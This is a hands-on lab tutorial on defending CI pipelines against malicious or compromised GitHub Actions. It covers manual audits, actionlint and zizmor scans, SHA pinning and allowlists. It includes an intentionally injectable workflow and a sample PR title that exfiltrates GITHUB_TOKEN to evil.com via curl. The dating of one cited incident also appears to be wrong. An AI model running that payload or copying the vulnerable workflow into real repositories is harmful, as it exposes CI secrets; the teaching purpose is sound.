Lab: Detecting Malicious GitHub Actions with Static Analysis

Overview

Third-party GitHub Actions are one of the most convenient features of the GitHub ecosystem. With a single uses: directive, you can pull in complex build logic, deploy to cloud providers, or run security scanners. But that convenience comes with a critical trade-off: every third-party action executes code in your CI environment with access to your secrets, tokens, and source code.

A compromised or malicious action can exfiltrate credentials, inject code into your build artifacts, modify environment variables to alter downstream steps, or backdoor your releases. Unlike dependencies managed by package managers, GitHub Actions lack a robust verification ecosystem, making them a prime target for supply chain attacks.

In this hands-on lab, you will learn to:

  • Manually audit third-party actions for suspicious behavior
  • Use actionlint to catch misconfigurations and expression injection vulnerabilities
  • Use zizmor to detect security-specific anti-patterns in workflows
  • Pin actions to immutable SHA references and automate updates with Dependabot
  • Enforce an action allowlist to prevent unauthorized actions from entering your pipelines
  • Monitor workflow changes through CODEOWNERS and automated PR checks

By the end of this lab, you will have a layered defense strategy that reduces the risk of supply chain compromise through GitHub Actions.

Prerequisites

Before starting this lab, ensure you have:

  • A GitHub account with permissions to create repositories and configure Actions
  • A test repository — create a fresh repo or use an existing non-production repo with at least one GitHub Actions workflow
  • Git CLI installed and authenticated with GitHub
  • Node.js 18+ (required for some tooling)
  • Python 3.9+ (for installing zizmor)
  • GitHub CLI (gh) — install from cli.github.com
  • Basic GitHub Actions knowledge — you should understand workflow YAML syntax, jobs, steps, and the uses: keyword

Create a test repository if you do not have one:

gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows

Create a sample workflow file at .github/workflows/ci.yml that we will use throughout this lab:

name: CI Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - uses: actions/cache@v4
        with:
          path: ~/.npm
          key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
      - run: npm ci
      - run: npm test

Understanding the Threat

Before we start scanning and auditing, it is important to understand how GitHub Actions become attack vectors. There are several well-documented compromise methods:

Maintainer Account Takeover

An attacker gains access to the GitHub account of an action maintainer — through credential stuffing, phishing, or session hijacking. Once they control the account, they push malicious code to the action repository and update existing tags to point to the compromised commit. Every workflow referencing that tag immediately pulls the malicious version on its next run.

Malicious Tag Updates

Git tags are mutable. An action maintainer (or attacker with push access) can delete a tag like v1 and recreate it pointing to a different commit. If your workflow uses uses: some-action/tool@v1, you are trusting that the tag always points to safe code. This trust is easily violated.

Typosquatting

Attackers create actions with names confusingly similar to popular ones. For example:

  • actions/checkout (legitimate) vs. action/checkout (typosquat)
  • actions/setup-node vs. actions/setup-nodejs
  • docker/build-push-action vs. docker/build-and-push-action

A single typo in your workflow YAML can pull in a completely different, malicious action.

Dependency Hijacking

Many GitHub Actions are JavaScript-based and have their own node_modules dependencies. If an action’s dependency is compromised (via npm supply chain attack), the action itself becomes a vector — even if the action’s own code is clean.

Real-World Incidents

tj-actions/changed-files (March 2023): Attackers compromised the widely-used tj-actions/changed-files action by gaining access to the maintainer’s account. They modified the action to exfiltrate CI/CD secrets by dumping the runner’s memory and environment variables to the workflow logs. Thousands of repositories were affected because they referenced mutable tags rather than pinned SHAs.

codecov/codecov-action (2021): The Codecov Bash Uploader was modified by attackers who gained access through a compromised Docker image used in Codecov’s CI process. The tampered script exfiltrated environment variables — including CI tokens, API keys, and credentials — from customers’ CI environments. This affected a large number of organizations running the Codecov action in their pipelines.

These incidents share a common pattern: trust in mutable references. Both could have been mitigated by pinning to immutable SHAs and auditing action behavior before adoption.

Exercise 1: Manual Action Audit

Automated tools are essential, but there is no substitute for understanding what an action actually does. In this exercise, you will manually audit three commonly used actions to build your instincts for spotting suspicious patterns.

Step 1: Select Actions to Audit

From the sample workflow above, we will audit:

  1. actions/checkout@v4
  2. actions/setup-node@v4
  3. actions/cache@v4

Step 2: Review action.yml

For each action, start by examining the action.yml file in the action’s repository. This file defines the action’s inputs, outputs, and entry point.

# Clone the action to inspect locally
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml

Key things to look for in action.yml:

  • Entry point: Is it a node action (runs JavaScript), composite (runs steps), or docker (runs a container)? Each has different risk profiles.
  • Inputs: Does the action accept sensitive inputs like tokens or credentials?
  • Post-action: Does it define a post: entry point? Post-actions run even if the job fails, making them ideal for exfiltration.

Step 3: Inspect the Source Code

For JavaScript/TypeScript actions, examine the compiled dist/index.js file and the source in src/:

# Search for network calls
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'

# Search for secret access patterns
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/

# Search for file writes to sensitive locations
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/

# Search for exec or spawn calls
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/

Step 4: Red Flags Checklist

Use this checklist when auditing any GitHub Action:

Red Flag What to Look For Risk Level
Network calls to unknown domains fetch(), http.request(), curl to non-GitHub domains Critical
Secret access Reading GITHUB_TOKEN, secrets.*, or environment variables High
Environment manipulation Writing to GITHUB_ENV, GITHUB_OUTPUT, or GITHUB_PATH High
Dynamic code execution eval(), exec(), downloading and running scripts Critical
Obfuscated code Base64 encoded strings, minified code without source maps High
Post-action hooks post: entry point in action.yml Medium
Excessive permissions requested Documentation asks for write permissions beyond what is needed Medium
No verification or signing Action not from a verified creator, no Sigstore signatures Low-Medium

Step 5: Example Audit — actions/checkout@v4

Here is a condensed audit of actions/checkout@v4:

# action.yml analysis
# - Type: node20 (JavaScript action)
# - Inputs: Accepts 'token' input (defaults to github.token)
# - Post-action: Yes — runs cleanup to remove credentials

# Network analysis
# - Connects to: api.github.com (expected for git operations)
# - No connections to third-party domains ✓

# Secret handling
# - Uses GITHUB_TOKEN for authenticated git clone
# - Token is persisted in git config by default (persist-credentials input)
# - Post-action removes persisted credentials

# Environment writes
# - Does not write to GITHUB_ENV or GITHUB_PATH ✓

# Verdict: SAFE — behavior matches documented purpose
# Recommendation: Set persist-credentials: false to minimize token exposure

Apply this same process to every new action before adding it to your workflows.

Exercise 2: Scanning Actions with actionlint

actionlint is a static analysis tool for GitHub Actions workflow files. It catches syntax errors, type mismatches, and — critically for our purposes — expression injection vulnerabilities.

Step 1: Install actionlint

# macOS
brew install actionlint

# Linux (download binary)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/

# Verify installation
actionlint --version

Step 2: Run Against Your Workflows

actionlint .github/workflows/*.yml

For our sample CI workflow, actionlint will produce clean output because we followed good practices. Let us introduce a vulnerable workflow to see actionlint’s security detection capabilities.

Step 3: Create a Vulnerable Workflow

Create .github/workflows/greet-pr.yml with intentional vulnerabilities:

name: Greet PR
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: ${{ github.event.pull_request.title }}"
          echo "PR Author: ${{ github.event.pull_request.user.login }}"
          echo "PR Body: ${{ github.event.pull_request.body }}"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        run: |
          curl -X POST \
            -H "Authorization: token $GITHUB_TOKEN" \
            -H "Accept: application/vnd.github.v3+json" \
            https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
            -d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'

Step 4: Scan the Vulnerable Workflow

actionlint .github/workflows/greet-pr.yml

actionlint will flag expression injection vulnerabilities:

.github/workflows/greet-pr.yml:14:27: expression injection: 
  "github.event.pull_request.title" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]
.github/workflows/greet-pr.yml:16:25: expression injection: 
  "github.event.pull_request.body" is potentially untrusted. 
  Consider using an environment variable instead. 
  [expression]

The title and body fields are controlled by the PR author. An attacker can craft a PR title containing shell metacharacters to execute arbitrary commands:

# Malicious PR title:
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "

When this title is interpolated directly into the run: block via ${{ }}, the shell executes the injected command.

Step 5: Fix the Vulnerability

The fix is to pass untrusted data through environment variables instead of direct interpolation:

name: Greet PR (Fixed)
on:
  pull_request_target:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Greet the contributor
        run: |
          echo "PR Title: $PR_TITLE"
          echo "PR Author: $PR_AUTHOR"
          echo "PR Body: $PR_BODY"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
          PR_BODY: ${{ github.event.pull_request.body }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Post comment
        uses: actions/github-script@v7
        with:
          script: |
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.payload.pull_request.number,
              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
            });

Environment variables are passed as data, not interpolated into shell commands, which prevents injection. Re-run actionlint to confirm the fix:

actionlint .github/workflows/greet-pr-fixed.yml
# No output = no issues found

Exercise 3: Scanning with zizmor

zizmor is a security-focused static analysis tool specifically designed for GitHub Actions. While actionlint focuses on correctness with some security checks, zizmor focuses exclusively on security anti-patterns.

Step 1: Install zizmor

# Install via pip
pip install zizmor

# Or via pipx for isolation
pipx install zizmor

# Verify installation
zizmor --version

Step 2: Run Against Your Workflows

zizmor .github/workflows/

zizmor analyzes workflows for a comprehensive set of security issues. On our sample ci.yml, it will flag:

ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
15|       - uses: actions/checkout@v4
  |         ^^^^ action not pinned to a full-length commit SHA
  |
  = note: Pinning actions to a full SHA protects against tag mutation attacks

ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
17|       - uses: actions/setup-node@v4
  |         ^^^^ action not pinned to a full-length commit SHA

ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
  |
20|       - uses: actions/cache@v4
  |         ^^^^ action not pinned to a full-length commit SHA

Step 3: Scan the Vulnerable Workflow

zizmor .github/workflows/greet-pr.yml

zizmor will produce richer security findings:

greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
  |
4 |   pull_request_target:
  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
  |
  = note: This trigger has access to repository secrets and a read-write token

greet-pr.yml:14:27 error[template-injection]: template injection in run: block
  |
14|          echo "PR Title: ${{ github.event.pull_request.title }}"
  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  |
  = note: Attacker-controlled input is interpolated directly into a shell command

greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
  |
  = note: All third-party actions should be pinned to full commit SHAs

greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
  |
  = note: Consider using read-only permissions where possible

Step 4: Compare actionlint and zizmor

Feature actionlint zizmor
Primary focus Correctness and syntax Security analysis
Expression injection Yes Yes (more comprehensive)
Unpinned actions No Yes
Dangerous triggers No Yes
Excessive permissions No Yes
Artifact poisoning No Yes
OIDC misconfig No Yes
Type checking Yes No
Deprecated syntax Yes No

Recommendation: Use both tools together. actionlint catches correctness issues and basic injection patterns; zizmor provides deeper security analysis. Add both to your CI pipeline:

name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Run actionlint
        run: |
          brew install actionlint
          actionlint .github/workflows/*.yml
      - name: Run zizmor
        run: |
          pip install zizmor
          zizmor .github/workflows/

Exercise 4: Pinning and Verifying Action Integrity

Tag-based references like @v4 are mutable — the tag can be moved to point to any commit at any time. SHA-based pins are immutable and provide cryptographic assurance that you are running the exact code you reviewed.

Step 1: Resolve SHAs for Your Actions

Use the GitHub CLI to resolve the current SHA for each action tag:

# Resolve actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# Output: b4ffde65f46336ab88eb53be808477a3936bae11

# Resolve actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# Output: 60edb5dd545a775178f52524783378180af0d1f8

# Resolve actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# Output: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67

Important: Some tags point to annotated tag objects rather than commits directly. In that case, you need to dereference the tag:

# If the above returns a 'tag' object type, dereference it:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object' 
# If type is "tag", fetch the underlying commit:
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'

Step 2: Update Your Workflow

Replace tag references with SHA pins. Always add a comment with the original tag for readability:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
    with:
      node-version: '20'
  - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
    with:
      path: ~/.npm
      key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}

Step 3: Verify Sigstore Signatures (When Available)

Some action publishers sign their releases using Sigstore. You can verify these signatures:

# Install cosign
brew install cosign

# Verify a signed action release (if the publisher signs them)
cosign verify-blob \
  --certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --bundle checkout-v4.sigstore.json \
  checkout-v4.tar.gz

Not all actions publish Sigstore signatures yet, but this is an emerging best practice.

Step 4: Set Up Dependabot for Automated SHA Updates

Pinning to SHAs means you will not automatically get updates. Use Dependabot to automate this while maintaining immutability:

Create .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "github-actions"
    reviewers:
      - "your-security-team"
    commit-message:
      prefix: "chore(deps)"

When a new version of an action is released, Dependabot will create a PR that updates the SHA pin:

# Example Dependabot PR diff:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2

This gives you the best of both worlds: immutable references with automated updates that go through your normal PR review process.

Exercise 5: Enforcing an Action Allowlist

Even with pinning and scanning, you need a mechanism to prevent unapproved actions from being added to workflows. An allowlist ensures only vetted actions can be used.

Option A: GitHub Enterprise — Organization-Level Allowlist

If you use GitHub Enterprise, you can restrict actions at the organization level:

  1. Go to your Organization Settings
  2. Navigate to Actions → General
  3. Under Policies, select Allow select actions and reusable workflows
  4. Add approved actions: actions/checkout@*, actions/setup-node@*, etc.

This is the strongest enforcement because GitHub itself will reject workflow runs that use disallowed actions.

Option B: CI-Based Allowlist Check

For organizations without GitHub Enterprise, you can create a CI-based enforcement mechanism.

Step 1: Create the allowlist.

Create allowed-actions.txt in your repository root:

# Approved GitHub Actions
# Format: owner/repo
# Lines starting with # are comments

# Official GitHub actions
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script

# Security scanning
github/codeql-action

# Approved third-party
docker/build-push-action
docker/login-action

Step 2: Create the validation script.

Create scripts/check-actions.sh:

#!/bin/bash
set -euo pipefail

ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0

if [[ ! -f "$ALLOWLIST" ]]; then
  echo "ERROR: Allowlist file not found: $ALLOWLIST"
  exit 1
fi

# Extract all 'uses:' references from workflow files
echo "Scanning workflow files for action references..."
echo "================================================"

for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
  [[ -f "$workflow" ]] || continue
  
  echo ""
  echo "Checking: $workflow"
  
  # Extract action references (owner/repo from uses: owner/repo@ref)
  actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
    grep '/' | \
    grep -v '^\./\|^docker://' | \
    sort -u)
  
  for action in $actions; do
    if grep -qx "$action" "$ALLOWLIST"; then
      echo "  ✓ $action (approved)"
    else
      echo "  ✗ $action (NOT IN ALLOWLIST)"
      FAILED=1
    fi
  done
done

echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
  echo "FAILED: Unapproved actions detected!"
  echo "To approve a new action, add it to $ALLOWLIST and get security team review."
  exit 1
else
  echo "PASSED: All actions are approved."
fi

Make the script executable:

chmod +x scripts/check-actions.sh

Step 3: Create the enforcement workflow.

Create .github/workflows/check-actions.yml:

name: Action Allowlist Check
on:
  pull_request:
    paths:
      - '.github/workflows/**'
      - 'allowed-actions.txt'

permissions:
  contents: read

jobs:
  check-actions:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Check actions against allowlist
        run: ./scripts/check-actions.sh

Step 4: Test the enforcement.

Add an unapproved action to a workflow in a branch and open a PR:

# In a new branch, add an unapproved action
git checkout -b test-unapproved-action

# Add an unapproved action to ci.yml
# e.g., uses: some-unknown/action@v1

git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# Open PR → the check-actions job will fail

The output will show:

Checking: .github/workflows/ci.yml
  ✓ actions/checkout (approved)
  ✓ actions/setup-node (approved)
  ✓ actions/cache (approved)
  ✗ some-unknown/action (NOT IN ALLOWLIST)

================================================
FAILED: Unapproved actions detected!
To approve a new action, add it to allowed-actions.txt and get security team review.

Make this a required status check in your branch protection rules to enforce the allowlist on all PRs.

Exercise 6: Monitoring for Action Changes

Even with allowlists and pinning, you need visibility into when workflow files change. This exercise sets up monitoring and alerting mechanisms.

Step 1: Set Up CODEOWNERS

Create .github/CODEOWNERS to require security team review for workflow changes:

# Require security team review for all workflow changes
.github/workflows/ @your-org/security-team
.github/actions/    @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team

Enable the “Require review from Code Owners” branch protection rule to enforce this.

Step 2: Create a Workflow Change Reporter

Create a workflow that automatically comments on PRs with a summary of action changes:

name: Workflow Change Report
on:
  pull_request:
    paths:
      - '.github/workflows/**'

permissions:
  contents: read
  pull-requests: write

jobs:
  report:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
        with:
          fetch-depth: 0

      - name: Generate action change report
        id: report
        run: |
          BASE=${{ github.event.pull_request.base.sha }}
          HEAD=${{ github.event.pull_request.head.sha }}

          echo "## Workflow Changes Report" > /tmp/report.md
          echo "" >> /tmp/report.md

          # Find changed workflow files
          CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)

          if [[ -z "$CHANGED_FILES" ]]; then
            echo "No workflow files changed." >> /tmp/report.md
            exit 0
          fi

          echo "### Changed Files" >> /tmp/report.md
          for file in $CHANGED_FILES; do
            echo "- \`$file\`" >> /tmp/report.md
          done
          echo "" >> /tmp/report.md

          # Extract action changes
          echo "### Action Reference Changes" >> /tmp/report.md
          echo '```diff' >> /tmp/report.md
          git diff "$BASE".."$HEAD" -- .github/workflows/ | \
            grep -E '^[+-].*uses:' | \
            grep -v '^[+-]{3}' >> /tmp/report.md || true
          echo '```' >> /tmp/report.md
          echo "" >> /tmp/report.md
          echo "⚠️ **Security team review required for workflow changes.**" >> /tmp/report.md

      - name: Comment on PR
        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
        with:
          script: |
            const fs = require('fs');
            const report = fs.readFileSync('/tmp/report.md', 'utf8');
            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: report
            });

Step 3: Leverage Dependabot Security Alerts

Dependabot automatically flags known vulnerabilities in GitHub Actions. Ensure this is enabled:

  1. Go to Repository Settings → Code security and analysis
  2. Enable Dependabot alerts
  3. Enable Dependabot security updates

When a pinned action has a known vulnerability, Dependabot will create a security update PR. Because you are pinned to SHAs, the diff clearly shows the old and new commit hashes, making it easy to review exactly what changed.

Step 4: Audit Log Monitoring (GitHub Enterprise)

For organizations using GitHub Enterprise, enable audit log streaming to detect workflow modifications:

# Query the audit log for workflow file changes
gh api orgs/YOUR_ORG/audit-log \
  --method GET \
  -f phrase='action:workflows' \
  -f per_page=50 \
  --jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'

Building a Defense Strategy

Not every organization needs every control. Here is a tiered approach based on your security requirements:

Tier 1: Minimum (All Organizations)

  • Pin all actions to full SHA hashes — prevents tag mutation attacks
  • Enable Dependabot for github-actions — automates SHA updates
  • Set minimum permissions — use permissions: at the workflow and job level

Effort: Low. Impact: Blocks the most common attack vector (mutable tags).

Tier 2: Recommended (Most Organizations)

Everything in Tier 1, plus:

  • Run actionlint and zizmor in CI — catches injection vulnerabilities and security misconfigurations before they are merged
  • Set up CODEOWNERS for workflow files — ensures security team reviews all workflow changes
  • Enable branch protection rules — require status checks and code owner reviews

Effort: Medium. Impact: Catches vulnerabilities during development and ensures review.

Tier 3: High Security (Regulated Industries, High-Value Targets)

Everything in Tier 2, plus:

  • Enforce an action allowlist — only pre-approved actions can be used
  • Manual security audit for every new action — full code review before adding to the allowlist
  • Fork critical actions internally — maintain your own copies of essential actions to eliminate external dependency
  • Automated workflow change reporting — PR comments summarizing all action changes
  • Audit log monitoring — real-time alerts on workflow modifications

Effort: High. Impact: Comprehensive defense against supply chain attacks through Actions.

Cleanup

After completing the lab, clean up any test resources:

# Remove the test repository if you created one
gh repo delete actions-security-lab --yes

# Remove cloned audit directories
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache

# Uninstall tools if no longer needed
# brew uninstall actionlint
# pip uninstall zizmor

If you used your own repository, revert any vulnerable test workflows:

git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml

Key Takeaways

  • Third-party GitHub Actions are a supply chain risk. Every uses: directive executes external code in your CI environment with access to your secrets and tokens.
  • Mutable tags are the root cause of most action compromises. Pinning to full SHA hashes eliminates tag mutation attacks, the most common exploit vector.
  • Expression injection is the most prevalent workflow vulnerability. Never interpolate untrusted data (PR titles, branch names, commit messages) directly into run: blocks — always use environment variables.
  • Automated scanning with actionlint and zizmor catches what manual review misses. Use both tools in your CI pipeline — actionlint for correctness and basic security, zizmor for deep security analysis.
  • Defense in depth is essential. No single control is sufficient. Combine pinning, scanning, allowlisting, CODEOWNERS, and monitoring for comprehensive protection.
  • Treat workflow files like production code. They deserve the same review, testing, and change management processes as your application code.

Next Steps

Continue building your CI/CD security knowledge with these related guides: